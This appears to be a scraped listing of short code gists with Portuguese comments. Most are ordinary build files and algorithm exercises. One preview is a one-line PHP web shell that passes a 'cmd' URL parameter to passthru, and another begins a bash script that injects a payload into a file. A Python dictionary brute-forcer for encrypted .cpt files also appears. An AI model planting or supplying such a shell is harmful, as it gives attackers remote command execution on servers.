This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;-------------------------------------------------------------------; | |
; ##:::::::: '########::'##::::'##: | |
; ##:::'##:: ##.... ##: ###::'###: | |
; ##::: ##:: ##:::: ##: ####'####: | |
; ##::: ##:: ########:: ## ### ##: | |
; #########: ##.... ##: ##. #: ##: | |
; ...... ##:: ##:::: ##: ##:.:: ##: | |
; :::::: ##:: ########:: ##:::: ##: | |
; ::::::..:::........:::..:::::..:: Simple Library for Bare Metal |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PROJECT(project C) | |
CMAKE_MINIMUM_REQUIRED(VERSION 3.1.0) | |
FIND_PACKAGE(PkgConfig REQUIRED) | |
PKG_CHECK_MODULES(GLIB REQUIRED glib-2.0) | |
INCLUDE_DIRECTORIES( | |
src/include/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
obj-m += module.o | |
KBUILD=/lib/modules/$(shell uname -r)/build/ | |
default: | |
$(MAKE) -C $(KBUILD) M=$(PWD) modules | |
clean: | |
$(MAKE) -C $(KBUILD) M=$(PWD) clean |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
?><?php (isset($_GET['cmd'])) ? passthru($_GET['cmd']) : echo 'NO CMD'; ?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!usr/bin/env bash | |
if [[ ! -f $1 ]]; | |
then | |
echo -e "não foi possível encontrar '$1'" | |
exit 1 | |
fi | |
echo -e "injetando payload em '$1' ..."; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.PHONY= all test build clean | |
SRC=$$(find . -name "*.c" ) | |
PROJECT=project_name_here | |
all: test | |
test: build | |
@echo -e "================================================================================" | |
@figlet -tk $(PROJECT) | |
@echo -e "================================================================================" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#define TYPE_NONE 100 // lembra de python? então... | |
#define TYPE_INT 101 | |
#define TYPE_FLOAT 102 | |
/// objeto generico | |
typedef struct object object; | |
struct object |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys, os, subprocess as sub | |
arg = sys.argv | |
if len(arg) < 3: | |
print('bf.py <FILE>.cpt <DICT>.txt') | |
exit(1) | |
if not os.path.exists(arg[1]): | |
print('arquivo inválido') | |
exit(2) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "bits/stdc++.h" | |
using namespace std; | |
int qArestaAtual=0; | |
vector<vector<bool>> grafo; | |
vector<int> resultados; | |
stack<int> caminho; | |
set<pair<int,int>> visitado; | |
// verifica se a aresta foi visitada |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "bits/stdc++.h" | |
using namespace std; | |
// subsequencia comum mais longa Programacao Dinamica | |
int scml(string a, string b){ | |
// tabela programacao dinamica | |
vector < vector < int > > tabela; | |
// cria tabela | |
for (int cont = 0; cont < a.size() + 1; cont++) |
NewerOlder